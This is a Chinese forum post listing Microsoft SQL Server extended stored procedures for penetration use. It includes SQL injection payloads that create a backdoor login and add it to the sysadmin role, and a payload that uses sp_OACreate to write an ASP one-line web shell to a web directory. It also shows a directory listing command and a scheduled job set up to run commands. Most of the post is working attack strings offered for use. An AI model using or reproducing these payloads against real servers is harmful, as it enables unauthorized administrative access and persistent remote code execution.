MSSQL 中一些有用的存储扩展

作者:Jambalaya

因为最近由这方面的项目，所以花时间整理了一下贴了出来，最后面的是我经常用得，好像还没什么人知道。。。。。。

我大致整理了一些存储扩展,是我知道的比较有用的和我看书的时候找到的，所以可能写得不全，大家还知道什么好用的贴出来，不管是渗透用的还是安全维护用得到的都可以贴出来，然后把所有人的知识点结合在一起就可以相容贯通了~~~

/////////////////////////////////////////////////
xp_cmdshell 执行命令
sp_addextendedproc 还原用的

xp_regread 读注册表
xp_reg* 有很多其他的和注册表相关操作，读是比较有用的
sp_makewebtask 将表中内容导出asp文件
//上面的太熟悉了吧

/////////////////////////////////////////////////////////////

sp_addlogin 添加权限
sp_password 更改密码
sp_addsrvrolemember 添加到管理员组

//;exec master.dbo.sp_addlogin jam;--
//;exec master.dbo.sp_password null,ffffff,jam;--
//;exec master.dbo.sp_addsrvrolemember sysadmin jam;--

//////////////////////////////////////////////////////////////

sp_OACreate 创建OLE对象实例
sp_OAMethod

这个不知道大家是不是接触过，所以举个例子：
;DECLARE @fs int,@fi int EXEC SP_OAcreate Scripting.FileSystemObject,@fs OUTPUT EXEC SP_OAMETHOD @fs,createTextFile,@fs OUTPUT,e:GameEMScha8.asp,1 EXEC SP_OAMETHOD @fs,WriteLine,null,<%25 if request("x")<>"" then execute(request("x"))%25>;--

////////////////////////////////////////////////////////////////

xp_dirtree 列目录
//这个应该也比较熟悉了吧
//exec master..xp_dirtree E:GameEMS,1,1;--

////////////////////////////////////////////////////////////////

//添加作业的一些东西sp_add_job
sp_add_jobstep
sp_add_jobserver
sp_start_job
//举例：
//exec sp_add_job @job_name=Jam;
//exec sp_add_jobstep @job_name=Jam,@step_name = JEXEC,@subsystem=tsql,@command=exec sp_dboption sales, read only, true;//执行系统命令也可以
//exec sp_add_jobserver @job_name = Jam,@server_name = Admin_GAME;
//exec sp_start_job @job_name=Jam;

//////////////////////////////////////////////////////////////////

//下面是我偶尔会用到的一些东西，大家自己琢磨怎么配合着用吧，具体的可以查阅SQL Server联机丛书

sp_rename 更改列名表名
sp_renamedb 更改数据库名

xp_servicecontrol 启动或停止一个win服务
xp_terminate_process 关闭进程
xp_logininfo 当前登录帐号
sp_configure 检索数据库中的内容（我觉得这个挺有用的）
sp_helpextendedproc 得到所有的存储扩展
sp_who2 查询用户，他们登录的主机，他们在数据库中执行的操作等等

/////////////////////////////////////////////////////////////////////

BTW:我整理的时候看到两个可能会非常有用的，暂时没有贴，准备研究一下确认能够达到目的再贴了~~~哈哈~~~~~